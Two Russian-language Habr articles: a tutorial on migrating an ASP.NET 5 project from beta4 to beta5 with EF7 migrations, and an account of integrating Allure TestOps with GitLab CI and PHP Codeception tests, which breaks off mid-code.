[www.visualstudio.com/en-us/downloads/visual-studio-2015-downloads-vs.aspx](https://www.visualstudio.com/en-us/downloads/visual-studio-2015-downloads-vs.aspx)
Кстати, доступна версия Community edition со всем важным функционалом. Релиз этой версии уже меньше чем через месяц – 20 июля, но в него не войдет релиз ASP.NET 5.
С созданием проекта все стандартно — ASP.NET Web application ->
-> Web site
Давайте разберемся что у нас есть на данном этапе и что мы можем сделать. У нас создан ASP.NET 5 проект с пакетами версии beta4, на том рантайме который выставлен по дефолту в dnvm. Теперь по частях, начиная с конца. Команда dnvm (<https://github.com/aspnet/dnvm>) – это менеджер версий .NET, утилита для командной строки, с помощью которой можно управлять версиями .NET. Утилита ставится вместе с Visual Studio 2015 или же можно поставить ее отдельно, при чем на разные операционные системы, детали – [github.com/aspnet/home](https://github.com/aspnet/home) и [docs.asp.net/en/latest/getting-started/index.html](http://docs.asp.net/en/latest/getting-started/index.html).
Если вы выполните в консоли dnvm list это команда покажет вам все версии рантайма, которые у вас сейчас установлены.
Так же дефолтная версия рантайма будет прописана в файле global.json и для каждого проекта можно выбрать рантайм и платформу.
Есть 2 варианта платформы – полная весия .net или новая Core версия, которая распространяется через nuget и которую можно использовать на разных платформах. Вообще, вся концепция кроссплатформенного .NET сейчас использует название DNX – от dot net x-plattform. В общем, DNX – это SDK + Runtime, детали – [docs.asp.net/en/latest/dnx/overview.html](http://docs.asp.net/en/latest/dnx/overview.html).
Запустить проект можно, как и старым способом — Ctrl + F5 в студии, так и новым, через консоль, с помощью команды dnx . web. Но перед этим надо выполнить dnx restore для потягивания пакетов (не только nuget, но и npm, bower) и dnx build для сборки проекта. По умолчание, после
dnx restore
dnx build
dnx . web
поднимется мини веб-сервер (http://localhost:5000) который будет хостить ваш проект. Команды, что начинаються на dnx . прописаны в project.json:
```
"commands": {
"web": "Microsoft.AspNet.Hosting --server Microsoft.AspNet.Server.WebListener --server.urls http://localhost:5000",
"gen": "Microsoft.Framework.CodeGeneration",
"ef": "EntityFramework.Commands"
},
```
Если проблем с запуском начального проекта разными методами нет, можно идти дальше. Среди проблем – бывают ситуации, когда «плохо» подтягиваются пакеты или версия .net в dnvm не такая же как версия пакетов, в такой ситуации надо прописать все версии одинаковыми (например, beta4) и попробовать еще раз перезагрузить проект.
##### Миграция на beta5
Для начала нам нужно проапдейтить версию .NET. Для этого выполним следующее в консоли:
```
set DNX_FEED=https://www.nuget.org/api/v2
dnvm upgrade
```
Теперь вернемся к проекту и сделаем изменения в нем:
* В файле global.json прописываем версию beta5.
* В файле project.json все beta4 меняем на beta5.
* В свойствах проекта тоже выбираем beta5.
Ждем пока заресторятся пакеты. В результате получаем ошибку:
```
Errors in c:\Users\vkot\documents\visual studio 14\Projects\aspnet5\src\aspnet5\project.json
Unable to locate Microsoft.Framework.ConfigurationModel.UserSecrets >= 1.0.0-beta5
Unable to locate Microsoft.Framework.ConfigurationModel.Json >= 1.0.0-beta5
```
Смотрим в списке несовместимых изменений (Breaking changes)
[github.com/aspnet/Announcements/issues](https://github.com/aspnet/Announcements/issues).
Находим [github.com/aspnet/Announcements/issues/25](https://github.com/aspnet/Announcements/issues/25).
Убираем слово Model в этих пакетах в файле project.json.
Возвращаемся в консоль, переходи в папку проекта, раним:
```
dnu restore
dnu build
```
Результаты изменений [github.com/gbdrm/aspnet5/commit/f4a89eb92f8b144795bec8eece6d3003df995455](https://github.com/gbdrm/aspnet5/commit/f4a89eb92f8b144795bec8eece6d3003df995455)
Restore должен пройти нормально, но проект пока не билдится. Если не работает Restore или больше 2 тысяч ошибок в проекте, попробуйте закрыть проект, еще раз проапдейтить dnvm и тогда открыть проект. Если все сделано правильно, как минимум Restore должен заработать.
Дальше, есть несколько проблем с компиляцией.
Первая:
```
PasswordSignInAsync(model.Email, model.Password, model.RememberMe, shouldLockout: false);
```
просто удаляем имя последнего параметра, похоже этот параметр был переименован.
Вторая проблема с конфигурацией, детальней можно посмотреть на:
[github.com/aspnet/Announcements/issues/33](https://github.com/aspnet/Announcements/issues/33)
[github.com/aspnet/Announcements/issues/26](https://github.com/aspnet/Announcements/issues/26)
Следующая проблема – изменения в Entity Framework 7, можно найти на: [github.com/aspnet/Announcements/issues/35](https://github.com/aspnet/Announcements/issues/35)
Чтобы пофиксить – удаляем все содержимое папки Migrations и пробуем его сгенерировать заново с помощью команд Entity Framework. После удаления файлов билд должен проходить без ошибок. После удачного билда, набираем в консоли:
```
dnx . ef migration add init
```
И Entity Framework заново строит миграции.
Результаты изменений [github.com/gbdrm/aspnet5/commit/b1f7f56f6c6f91416e4d97b1e17a840c2b61741c](https://github.com/gbdrm/aspnet5/commit/b1f7f56f6c6f91416e4d97b1e17a840c2b61741c)
Казалось бы – ура! Билдится! Но то что оно билдится не значить, что оно работает. Пробуем запустить проект. Сначала у меня падает ошибка на строчке
app.UseBrowserLink();
Эта фича полезная, но не критичная, потому я пока ее просто удалил.
Дальше:
```
The type or namespace name 'IOptions' could not be found
```
Это еще одно несовместимое изменение: [github.com/aspnet/Announcements/issues/27](https://github.com/aspnet/Announcements/issues/27)
Просто меняем имя с одного на другое.
Запускаем… и все работает!
Результаты изменений: [github.com/gbdrm/aspnet5/commit/40d744099a7d110117d4c17fd6499a68c719ddb4](https://github.com/gbdrm/aspnet5/commit/40d744099a7d110117d4c17fd6499a68c719ddb4)
Скорее всего, после всех этих изменений у вас все заработает, но возможны и какие-то специфические проблемы.
##### Добавляем новый функционал
Давайте добавим какую-нибудь простую фичу, чтобы посмотреть еще несколько моментов. Добавим страничку, где любой пользователь может добавить сообщение. Для этого нами придется добавить новую таблицу в базу данных – сообщения. Опишем простой класс:
```
public class Message
{
public int Id { get; set; }
public string Text { get; set; }
public string Date { get; set; }
public string Time { get; set; }
public string Author { get; set; }
}
```
А также добавим его в контект базы данных.
```
public DbSet Messages { get; set; }
```
Для того чтобы запустить приложение сейчас не хватает еще двух вещей – сконфигурировать контекст (это тоже нововведение beta5) и добавить + применить миграцию по добавлению новой таблички. Для того, чтоб скофигурировать базу нужно добавить реализацию метода OnConfiguring в контекст.
```
protected override void OnConfiguring(EntityOptionsBuilder optionsBuilder)
{
optionsBuilder.UseSqlServer(Startup.Configuration["Data:DefaultConnection:ConnectionString"]);
}
```
Для меня на данный момент проще всего сделать свойство Configuration класса Startup статическим, чтобы достать из него конфигурацию. Наверное, можно найти более гибкое решение.
Для работы с миграциями на данный момент можно использовать только консольные команды Entity Framework 7. Для этого нам нужно удостовериться, что проект билдится и перейти в консоль в папку с проектом. Для начала попробуем работают ли команды EF:
```
dnx . ef migration list
```
Эта команда должна вывести на экран все текущие миграции. У нас она пока одна – init. Если все сработало хорошо, добавим новую миграцию — добавление таблички Messages.
```
dnx . ef migration add Messages
dnx . ef migration apply
```
Эти две команды должны добавить в нашу базу таблицу Messages.
Результаты изминений — [github.com/gbdrm/aspnet5/commit/518fd2e3b6ab1c763be15ca6ae78eece2a630540](https://github.com/gbdrm/aspnet5/commit/518fd2e3b6ab1c763be15ca6ae78eece2a630540)
##### Добавляем функциональность
Если с базой все готово – пора добавить саму функциональность. Начнем с контроллера. Добавим в HomeController новый метод, который будет возвращать представление с сообщениями. И само представление с сообщениями. Код не представляет никакой ценности, но, если интересно можно посмотреть – [github.com/gbdrm/aspnet5/commit/ff0bc33d1d656cfd2db04a851a0c7c930e0a045c](https://github.com/gbdrm/aspnet5/commit/ff0bc33d1d656cfd2db04a851a0c7c930e0a045c)
Демо-проект готов.
#### Результаты
В первую очередь мне реально понравилось. Просто понравилось работать фактически с новым стеком. Например, если вы забыли перебилдить — ничего страшного, теперь это не обязательно. Все стало как-то шустрее, удобней. Конечно же есть еще много чего сырого, но уже сейчас с ним почти можно мириться, а до релиза все должно быть совсем хорошо.
У меня были некоторые проблемы с авторизацией на другой машине, так до сих пор и не понял по чему, но скорее всего из-за того, что на ней наставлено множество версий пакетов и рантаймов и где-то что-то не подошло. Но пока я разбирался с этой проблемой я скачал сорсы нескольких проектов с гитхаба и просто подключил их вместо пакетов и все сразу же заработало без проблем. Это нереально круто — смотреть детали непосредственно в коде самого фреймворка, потратив всего пару минут на то, чтобы подложить сорсы вместо nuget пакетов. Вообще очень радует социализация ASP.NET разработчиков. Открытый исходный код, публичные еженедельные стендапы, куча примеров на гитхабе, еще есть публичный чат, где тусуются разработчики ASP.NET — [jabbr.net/#/rooms/AspNetvNext](http://jabbr.net/#/rooms/AspNetvNext) и т.д.
В общем, если вам интересна тема asp.net 5, то уже можно и надо копать. Все для этого уже готово и более того, все очень интересно.
Исходники: [github.com/gbdrm/aspnet5](https://github.com/gbdrm/aspnet5)
Демо + тест: [aspdotnet.azurewebsites.net](http://aspdotnet.azurewebsites.net/) | https://habr.com/ru/post/261703/ | null | ru | null |
# Allure. В поисках почти идеальной TMS
Офис allure :)Введение
--------
Приветствую тебя, мой виртуальный друг! Если ты читаешь эту статью, скорее всего тебе интересен Allure, или ты хочешь разобраться с тем, что это за зверь и как он интегрируется в тестирование без многонедельных плясок с бубном. В этой статье хочу рассказать о том, как мы внедряли один из инструментов, который помогает (или пытается) сделать жизнь инженерам по обеспечению качества продукта немножечко легче: постараюсь рассказать в деталях с чего все начиналось, как шло внедрение, через что прошла команда, что в итоге получили и куда планируем двигаться дальше. А виновником появления этой статьи, как нетрудно догадаться, стал тот самый инструмент — бывший Allure EE, Allure Server и нынешний [Allure Testops](https://qameta.io/).
А что было до?
--------------
Несколько лет назад я присоединился к одному очень интересному и амбициозному проекту. В команде было шесть разработчиков и два QA-инженера, включая меня. На тот момент тестовым стеком, который уже был внедрен и использовался в компании, являлся:
* PHP 7.4 и framework [Codeception](https://codeception.com/)
* Framework [Selenoid](https://aerokube.com/selenoid/latest/)
* В качестве CI/CD системы мы использовали [Gitlab](https://about.gitlab.com/)
* Отдельной системы генерации отчетов как такой не было: для авто тестов мы использовали встроенный в codeception простой генератор отчетов (включается при передаче флага [--html](https://codeception.com/docs/12-ContinuousIntegration#HTML-Reports) при запуске самих тестов), а для ручных тестов мы использовали [TMS Zephyr](https://marketplace.atlassian.com/apps/1014681/zephyr-squad-test-management-for-jira?hosting=cloud&tab=overview)
Соответственно приходилось смотреть два разных отчета и делать сопоставление между ручными и автотестами, что, сами понимаете, не очень-то удобно. Кроме неудобства в репортинге, постоянно возникали вопросы вроде "А как же скрестить ежа с попугаем?" Ладно, шучу! "А как же получить отчет в котором будет наглядный список автоматических и ручных тестов?" или "как же получить отчет в котором будет четко показано, что проверяют уже написанные автотесты?" Ответы на эти вопросы очень затягивались и в итоге сам стек для автотестов на тот период времени было принято не менять по причинам плотной интеграции и существующей базы автотестов, но вот касаемо отчетов и полноценной report-системы решили, что пришла пора переменам.
Попытка номер раз
-----------------
Главным преимуществом системы, которая изначально была у нас в стеке, напомню, это был Zephyr, была глубокая интеграцияс JIRA. Интеграция позволяла вести всю тестовую документацию прямо не выходя из нее, настраивать дэшборды, используя JQL, писать тест кейсы прямо в таске и интегрировать их в "борду". Впрочем, были и минусы. Во-первых, очень сложно и неудобно писать/редактировать тесты в маленьком окошке (да-да, оно умеет настраиваться по размеру, но все равно неудобно, особенно при большом объеме документации). Во-вторых, мы не смогли найти ответ, как слинковать автотесты c ручными и настроить сквозные отчеты для нашей тестовой инфраструктуры (возможно плохо искали). Эти недостатки и отправили нас в путешествие в надежде найти тихую гавань, в которой хочется заниматься тестированием и качеством продукта, а не постоянной рутиной по сборке и допиливанию отчетов. Мы отправились искать другой инструмент.
Попытка номер два
-----------------
Вторым заходом в бухту стал всем известный [TestRail](https://www.gurock.com/testrail/). При первом знакомстве с ним я был в восторге! В одном месте можно удобно хранить тесты, тест планы, делать прогоны ваших тестов и показывать красивые отчеты: тут и история создания тест-кейсов есть, и удобное редактируемое поле для шагов в самом тест-кейсе. Но и без ложки дегтя не обошлось - как с автотестами подружить отчеты и сделать единые прогоны? Да, у TestRail есть [API-документация](https://www.gurock.com/testrail/docs/api/getting-started/binding-php), которую мы использовали, и даже реализовали свою [версию](https://github.com/fr05t1k/testrail) (за что отдельное спасибо команде разработчиков,которая нам помогала в этом) интеграции с запуском и проставлением статусов у каждого теста. Просто в определенный момент пришло осознание, что мы уделяем интеграции и ее настройке уйму времени, а конечного результата на горизонте все еще нет. "Тихой гавани" не было видно, поэтому переезд номер три был не загорами.
Попытка номер три
-----------------
В этот раз у нас не было права на ошибку и мы занялись серьезной подготовкой к выбору следующего инструмента: долгий поиск в интернете, советы с коллегами, жаркие дискуссии и чтение книг, - все это привело нашу команду на одну из конференций по тестированию, на которой выступал Артем Ерошенко. Доклад был посвящен тому самому Allure Testops, что это за инструмент, что он умеет и как это готовить. Впечатлившись выступлением, я пошел разбираться, будет ли все это ~~безобразие~~ работать со стеком на нашем проекте.
`Здесь стоит сделать отступление, что наша команда уже запланировала переезд на другой тестовый стек и мы плотно над этим работаем, но об этом в другой раз.`
Как выяснилось при внедрении - это оказалось одной из самых больших проблем, с которыми пришлось столкнуться. На момент нашего знакомства с Allure Testops была реализована только часть функций, а адаптер для PHP был сыроват. Несмотря на эти недочеты, уже реализованная функциональность почти полностью покрывала наши требования, и, по сравнению с другими инструментами, которые мы пробовали, это был глоток свежего воздуха и первые попытки интеграции незаставили себя долго ждать.
Первая интеграция и первые результаты
-------------------------------------
Пятница, поздний вечер… Всей командой сидим на работе? Какого \*\*\*?
Ответ прост - мы получили триальный ключик Allure TestOps! Развернув само приложение на отдельном сервере через [docker-compose](https://docs.qameta.io/allure-testops/getstarted/docker-compose/), мы наконец-то увидели форму авторизации залогинившись в которой, получили пустой проект и полное осознание того, что впереди еще долгий путь. Ведь Всю тестовую инфраструктуру надо поднимать и настраивать почти что с нуля, а потом еще и показать коллегам, как это будет работать. Понеслась!
allure Signup formСоздали проект в UI Allure TestOps, добавили в composer нашего проекта новую зависимость, создали ветку, пушнули, иии... магии нет :) Что ж, придется почитать документацию и выяснить неочевидный факт - отчет надо загружать через [allurectl](https://docs.qameta.io/allure-testops/ecosystem/allurectl/). С подключением зависимости в composer и описанием yaml-файла проблем не возникло, в репозитории есть [пример](https://github.com/allure-framework/allure-codeception), а вот как отчет грузить, это прям вопрос? Как я писал выше, у нас используется gilLab в качестве CI/CD системы и определенная пачка тестов бегает в docker контейнерах, а часть тестов - на тестовых стендах. Хорошо... Для начала пытаемся интегрировать allurectl в docker и подружить его с gitlab-ом.
Создаем dockerfile, указываем путь к репозиторию [allurectl](https://github.com/allure-framework/allurectl) и делаем этот файл исполняемым. Пример запуска скрипта allurectl (в примере используется файл для x86 архитектуры):
```
FROM docker/compose:alpine-1.25.5
RUN apk add \
bash \
git \
gettext
ADD https://github.com/allure-framework/allurectl/releases/latest/download/allurectl_linux_386 /bin/allurectl
RUN chmod +x /bin/allurectl
```
Уже лучше, дальше описываем логику работы с пайплайном и запускаем скрипт (allurectl) после прохождения тестов на CI. Для того чтобы Allure Testops узнал про наши тесты, нужно описать работу двух джоб: `allure-start` и `allure-stop`.
Пример реализации джобы `allure-start`:
```
allure-start:
stage: build
image: image вашего проекта
interruptible: true
variables:
GIT_STRATEGY: none
tags:
- если используется
script:
- allurectl job-run start --launch-name "${CI_PROJECT_NAME} / ${CI_COMMIT_REF_NAME} / ${CI_COMMIT_SHORT_SHA} / ${CI_PIPELINE_ID}" || true
- echo "${CI_PROJECT_NAME} / ${CI_COMMIT_REF_NAME} / ${CI_COMMIT_SHORT_SHA} / ${CI_PIPELINE_ID} / ${CI_JOB_NAME}"
rules:
- if: если нужны какие правила для запуска и ниже условия
when: never
- when: always
needs: []
```
Вот так это может выглядеть в логах gitLab. Здесь мы так же распечатали эти переменные для дальнейшей настройкиА `allure-stop` - так:
```
allure-stop:
stage: test-success-notification
image: ваш образ
interruptible: true
variables:
GIT_STRATEGY: none
tags:
- ваши теги
script:
- ALLURE_JOB_RUN_ID=$(allurectl launch list -p "${ALLURE_PROJECT_ID}" --no-header | grep "${CI_PIPELINE_ID}" | cut -d' ' -f1 || true)
- echo "ALLURE_JOB_RUN_ID=${ALLURE_JOB_RUN_ID}"
- allurectl job-run stop --project-id ${ALLURE_PROJECT_ID} ${ALLURE_JOB_RUN_ID} || true
needs:
- job: allure-start
artifacts: false
- job: acceptance
artifacts: false
rules:
- if: $CI_COMMIT_REF_NAME == "master"
when: never
```
Тут стоит добавить, что Allure TestOps создает папку allure-results в папке `{имя вашего проекта}/tests/_output` которую формирует сам framework (в нашем случае codeception). И все что нужно сделать - загрузить артефакты, сформированные после прогона тестов в Allure через консольную команду `allurectl`.
```
.after_script: &after_script
- echo -e "\e[41mShow Artifacts:\e[0m"
- ls -1 ${CI_PROJECT_DIR}/docker/output/
- allurectl upload ${CI_PROJECT_DIR}/docker/output/allure-results || true
```
Вот выглядит процесс загрузки артифактов в консоли Gitlab. Напомню, команда вызвается после прохождения всех тестовЧтобы отправлять нотификации к примеру об упавших тестах в slack, достаточно передать launch id. Grep-нуть его можно примерно так:
```
if [[ ${exit_code} -ne 0 ]]; then
# Get Allure launch id for message link
ALLURE_JOB_RUN_ID=$(allurectl launch list -p "${ALLURE_PROJECT_ID}" --no-header | grep "${CI_PIPELINE_ID}" | cut -d' ' -f1 || true)
export ALLURE_JOB_RUN_ID
```
И вот так это может выглядеть в slackВ итоге получаем результат - тесты начинают бегать в docker, используя локальное окружение. При этом запускается джобаallure-start. Как только allure-start пробежала в самом Allure, создается заглушка, в которую будут загружены тесты после их исполнения.
Вот так может выглядеть пайплайн:
Мы пошли еще чуть дальше и смогли настроить еще одну полезню функцию - это [Parent-child pipelines](https://docs.gitlab.com/ee/ci/pipelines/parent_child_pipelines.html). А понадобилось нам это для того, что бы можно было развернуть бранч на физический стнед и уже на нем запускать ряд тестов. Прокидываем необходимые переменные и убеждаемся, что результаты грузятся в один launch в Allure Testops. `${CI_PIPELINE_ID}` и `${PARENT_PIPELINE_ID}`
```
.run-integration: &run-integration
image:
services:
- name: ваш образ
alias: docker
stage: test
variables:
<<: *allure-variables
tags:
- ваши теги
script:
- echo "petya ${CI_PROJECT_NAME} / ${CI_COMMIT_REF_NAME} / ${CI_COMMIT_SHORT_SHA} / ${CI_PIPELINE_ID} / ${PARENT_PIPELINE_ID} / ${CI_JOB_NAME} / {$SUITE}"
- cd ${CI_PROJECT_DIR}/gitlab
- ./gitlab.sh run ${SUITE}
after_script: *after_script
artifacts:
paths:
- docker/output
when: always
reports:
junit: docker/output/${SUITE}.xml
interruptible: true
```
Первый шаг интеграции готов. Смотрим первые результаты и пытаемся понять, что в итоге загрузилось в Allure ? Есть тесты с шагами и бублик с разными статусами. Значит, запуск тестов на каждой ветке и конкретном sha-ref (коммите) работает, а еще на каждый коммит и создание ветки запускается набор тестов, который по итогам выполнения отправляет результаты в Allure. Allure в свою очередь рисует бублик со статусами выполненных тестов. Успех и маленькая победа!
На этом вечерние посиделки в пятницу были завершены, и мы с радостными мыслями удалились в ~~бар~~ по домам :).
Разочарование
-------------
Итак, тесты успешно бегают на бранчах и для каждого sha-ref (коммита) - восторгу нет предела. Впрочем, как известно,эйфория проходит быстро. Именно так и случилось. Мы полезли смотреть на дерево автотестов (к тому моменты они уже успешно бегали в Gitlab) и обнаружили совершенно нечитаемую историю, по которой никак нельзя понять, что в ней проверяется. В этот момент пришло горькое осознание, что мы сделали шаг вперед и два назад. Примерно так выглядел результат после успешной загрузки xml-отчета в Allure Testops:
Кстати, это темная тема, по мне так выглядит очень круто!Само дерево строится по принципу `название тестового метода + data set #1 (если он есть в тесте)`.
Шаги в тестах выглядят примерно так:
Из этих шагов, естественно, ничего не понятно: что за `get web driver`, что за `get helper`, зачем мы перезагружаем страницу или зачем мы ждем тот или иной селектор и т.д., - если такие отчеты увидит кто-то из руководства, вопросов будет больше, чем шагов в тесте. И сейчас вы наверняка думаете, что я расскажу, как в два клика мы победили эту "неувязочку" ? Нет!
Тут начинается боль… Боль инженера по обеспечению качества. Ребята из [Qameta](https://qameta.io/) предлагают решить эту проблему при помощи аннотаций к тестам: определить, где у нас features, где story, а где component и для каждого теста выставить аннотации над методом. Такая разметка позволяет динамически строить красивое дерево.
А что насчет шагов? Аннотировать каждый? Для этого тоже есть решение, которое заключается в создании обертки для каждого метода. Эта обертка будет служить красивым и понятным именем для метода и шага. В целом предложения и подход здравые, нокогда на проекте n^8-тестов, этот процесс может сильно затянуться. По сути, разметка тестов для Allure требует практически полного рефакторинга всего, что есть в проекте! Очень много времени...
Также к минусам можно отнести отсутствие валидации этих аннотаций. Если вполне естественным образом пропустить опечаткув аннотациях, забыть закрыть кавычки или неправильно закрыть фигурные скобки, тест просто упадет со всеми вытекающими последствиями. Особенно болезненно будет тем, кто в проекте недавно и не очень хорошо представляет себе структуру тестового набора, и тем, кто занимается ручным тестированием и сильно далек от мира автоматизации.
Валидация аннотацийP/s. В качестве решения валидации аннотаций, можно посоветовать установить плагин для phpStoprm: [PHP Annotations](https://plugins.jetbrains.com/plugin/7320-php-annotations), который поможет найти подобные ошибки, но конечно же не все.
Доработка напильником
---------------------
Ну что, дорогие читатели, напильник в руки и начинаем полировать заготовку! Добавляем аннотации к автотестам, по пути рефакторим код тестов, а так же согласуем с аналитиками и ВСЕМИ участниками вашей команды будущую структуру вашего дерева. Давайте посмотрим на то как это может быть выглядеть в коде на примере одного автотеста:
```
/**
* @Title("Название вашего теста - короткое")
* @Description("Пишем подробное описание")
* @Features({"А что за фича собственно?"})
* @Stories({"Ну про сторю не забываем!"})
* @Issue({А где требования Карл?})
* @Labels({
* @Label(name = "Jira", values = "SA-1111"),
* @Label(name = "component", values = "Наш компонет"),
* @Label(name = "layer", values = "the layer of testing architecture"),
* })
*/
```
То, что вы видите на скриншоте, это адаптированный [стандарт документирования](https://ru.wikipedia.org/wiki/%D0%93%D0%B5%D0%BD%D0%B5%D1%80%D0%B0%D1%82%D0%BE%D1%80_%D0%B4%D0%BE%D0%BA%D1%83%D0%BC%D0%B5%D0%BD%D1%82%D0%B0%D1%86%D0%B8%D0%B8) Javadoc для PHP. Теперь посмотрим, как это выглядит в Allure TestOps:
На скриншоте видно, что тесты выстроены в структуре, а именно: Component -> Feature -> Story. Это предварительно настраивается в самом Allure TestOps.
Настройка отображения дерева: Component->Feature->StoryВ любой момент структуру можно отредактировать и дерево пересоберется в соответствии с запросом. Теперь пора навести порядок с шагами в автотестах. Можно использовать метод [executeStep](https://github.com/allure-framework/allure-php-commons/blob/master/src/Yandex/Allure/Adapter/Support/StepSupport.php) как надстройку и красивое описание для нашего метода. В нашем примере в сигнатуру метода первым параметром передаем текст, который будет отображаться как `human readable step` в UI Allure TestOps для метода `addInvite` (пример реализации):
```
public function createInviteCode(User $user, string $scheme): Invite
{
return $this->executeStep(
'Create invite code for ' . $user->username . ' with ' . $scheme,
function () use ($user, $scheme) {
return $this->getHelper()->addInvite(['user' => $user, 'schemeType' => $scheme]);
}
);
}
```
Таким образом, вся внутренняя реализация скрывается под капотом, а шаги в тестах "естественным" образом получаются красивые и понятные названия. В итоге тестовый сценарий в Allure TestOps выглядит примерно вот так:
Важно отметить, что такой рефакторинг занял у команды примерно месяц интенсивной и упорной работы: приходилось даже засиживаться допоздна в надежде, что еще чуть-чуть и финишная прямая...
Финишная прямая
---------------
Подведем некий итог, что же в итоге получилось? Напомню, что изначальной задачей было приведение всего набора автотестов порядок, чтобы их можно было спокойно читать и использовать, не забыв при этом про ручные тесты. В нашем случае, на создание разработчиком pull-request в Gitlab создается ветка с названием и sha-ref коммита и заводится пайплайн, в котором запускаются тесты. Так вот, мы хотели понимать, какие тесты запускались на каждой из веток или каждом из коммитов.
Настроив интеграцию, мы получили отдельную страницу со всеми запусками (Launches) в Allure TestOps. Страница Launches показывает эту информацию в структурированном виде, позволяет отфильтровать ее и получить нужный срез данных (запущенные тесты, процент успешно выполненных и упавших тестов и другую схожую информацию) по конкретной ветке.
Если провалиться в конкретный Launch, можно посмотреть на структуру нашего проекта: какие есть компоненты, какие фичи, сколько было перезапусков, какие именно тесты перезапускались, информацию о дереве тест-кейсов, график, который показывает сколько времени бежал самый долгий тест, график с длительностью тестов, - и в конце концов экспортировать этот прогон в JIRA-тикет. Отдельно хочется упомянуть про политики для Live documentation, которая в автоматическом режиме обновляет дерево тест-кейсов по правилам и триггерам, например, только из ветки мастер.
Работает это так: у нас есть автотест, в котором изменили пару шагов и поправили аннотации. Далее этот тест запускается и выполняется с набором тестов на мастере (на пулл-реквест в мастер), после чего можно либо вручную закрыть launch, либо дождаться, когда launch будет закрыт по cron’у, который настраивается в интерфейсе Allure. При закрытии запуска старый автотест обновляется - получаем актуальный тест-кейс. Это позволяет в принципе забыть про актуализацию тестовой документации в интерфейсе. Безумно удобно!
Где ручные кейсы, Карл?
-----------------------
Про ручные тесты мы конечно забыли :)Итак, стало понятно, что и где тестируется, какие тесты выполняются, как часто перезапускаются и какие дают результаты по итогам прогонов. Кажется, все! или нет? Ах да! Мы забыли про ручные кейсы. Давайте чуть разберемся в структуре тест-кейсов, которой нам предлагает следовать Allure TestOps - она предполагает, что тест представляет из себя законченный сценарий, а expected result является как бы необязательным элементом теста. А там, где это необходимо, можно описывать “expected result” в виде вложенных шагов. Написав пару-тройку тест-кейсов в таком стиле, становится ясно, что это удобно и практично. Пример такого теста может выглядеть так:
Если такой стиль написания кейсов не устраивает по какой-либо причине, всегда можно включить `другую` структуру с предусловиями.
Далее мы импортировали ручные тест кейсы из TestRail в Allure TestOps. Механизм импорта тест-кейсов позволяет гибко настроить, что именно импортировать, а что нет, поэтому проблемы были только с самими тестами - много ручных тестов снова пришлось переработать под новую структуру.
Думаете, все? Как бы не так! В конечном итоге мы получили базу с ручными и автоматическими тестами в едином месте и были готовы презентовать результаты работы коллегам, но что-то пошло не так и обнаружилась еще одна неприятная история.
Выглядело это примерно вот так ^Перед той самой презентацией мы решили настроить все отчеты, фильтры, показать, какие у нас есть ручные тест-кейсы, какие автоматические, как все это прекрасно работает, но, немного перемудрив с настройками Allure TestOps, мы окончательно запутались в нашем дереве и с трудом стали различать, где ручной, а где автоматический тест. Почему так произошло? Потому что мы попытались интегрировать ручные тесты в структуру автоматических тестов. Впрочем, проблема оказалась не фундаментальной, а технической: поскольку структура для автоматических тестов была написана с помощью аннотаций в коде, а ручные тесты создавались/редактировались прямо в интерфейсе Allure, после закрытия каждого прогона с `мастер` ветки начиналась путаница в статусах всех тест-кейсов. Осознав, где свернули не туда, мы решили удалить текущее дерево и все настроить заново. С автоматическими тестами проблем не возникло, они очень быстро обновили документацию и выстроились в новое дерево на основе аннотаций. Но один важный вопрос остался открытым: что же делать с ручными тестами? Если пойти тем же путем, что и в прошлый раз, получим инструмент, который решает задачи связанные только с автоматизацией, оставим TestRail для ручных тестов и продолжим связывать вручную два разрозненных отчета, как в старые добрые времена.
Решение нашлось неожиданно: как-то вечером перед [Гейзенбагом](https://heisenbug.ru), одной из самых больших конференций по тестированию, я просматривал программу прошлых докладов и обнаружил доклад на тему [Тест-кейсы как код](https://www.youtube.com/watch?v=Prm2-c_5mYs). Да, практика не новая, и про нее многие слышали. Ее суть заключается в том, что даже ручные тесты следует писать как метод под будущую автоматизацию: создали тестовый метод, в нем описали сценарий, сделали ветку, сделали merge request, прислали коллегам на ревью. Если коллегам что-то не понравилось в mr, они оставляют комментарий, вы правите, после чего ветка успешно мержится в основную. Что характерно, все это можно делать прямо в вашей CI (напомню, что в нашем случае это gitlab).
Отличная практика, но как ее подружить c Allure TestOps и получить вменяемые отчеты? На помощь снова приходят аннотации. Пишем ручной тест в нужном месте в репозитории, размечаем его с помощью аннотаций, созданных для автотестов, после чего указываем, что тест - ручной. Примерно так:
```
/*
* @Title("Короткое описание")
* @Description("Чуть понятнее пытаемся расписать")
* @Features({"Наша фича к которой относится тест кейс"})
* @Stories({"Если нужна"})
* @Issues({"Ссылка на требования, к примеру conf"})
* @Labels({
* @Label(name = "Jira", values = "Номер jira тикета"),
* @Label(name = "component", values = "Компонент"),
* @Label(name = "createdBy", values = "автор тест кейса"),
* @Label(name = "ALLURE_MANUAL", values = "true"),
* })
*/
```
Test case as codeМетод `step` в данном случае так же как и в случае с автотестами является просто оберткой над встроенным методом Allure TestOps `executeStep`. Единственное отличие в том, что для такого теста добавляется `Label = ALLURE_MANUAL`.
А так это выглядит в Allure TestOpsМожно пойти немного дальше и создать отдельного актера для ручных тестов, сделать общие методы для повторяющихся шагов и использовать их в ручных кейсах. В коде это может выглядеть примерно так:
```
/**
* @param string $elementName
* @param string $elementType
* @return $this
*/
public function click(string $elementName, string $elementType = 'button'): self
{
$this->tester->step('Click on "' . $elementName . '" ' . $elementType);
return $this;
}
```
Здесь мы создали некую заглушку для общего метода `click`, который будем переиспользовать в шагах наших автотестов и на тех страницах где это необходимо.
```
/**
* @return $this
*/
public function clickCreateFreeAccountButton(): SignupModal
{
$this->click('Create Free Account');
return new SignupModal($this->tester);
}
```
Ну и сам тест выглядит уже таким образом:
```
/**
* @Title("Successful signup without email")
* @Features({"Signup"})
* @Stories({"Signup without email"})
* @Labels({
* @Label(name="layer", values="manual"),
* @Label(name="ALLURE_MANUAL", values="true")
* })
*
* @param ManualTester $I
* @param Header $header
*/
public function successfulSignupWithoutEmail(ManualTester $I, Header $header): void
{
$I
->amOnPage(IndexPage::URL)
->amAuthenticatedAsGuest();
$header
->clickCreateFreeAccountButton()
->clickSignupWithoutEmailButton()
->fillUsername($I->generateRandomCredentials()['username'])
->fillPassword(AcceptanceTester::STRONG_PASSWORD)
->clickCreateFreeAccountButton();
$I->expectUserAccountCreated();
}
```
Здесь, мы обращаемся к атеку - `ManualTester` и вызываем его методы, которые предварительно должны написать. Пример:
```
php
/**
* @SuppressWarnings(PHPMD)
*/
class ManualTester extends Actor
{
use StepSupport;
/**
* @param string $url
* @return \Tests\_support\ManualTester
*/
public function amOnPage(string $url): self
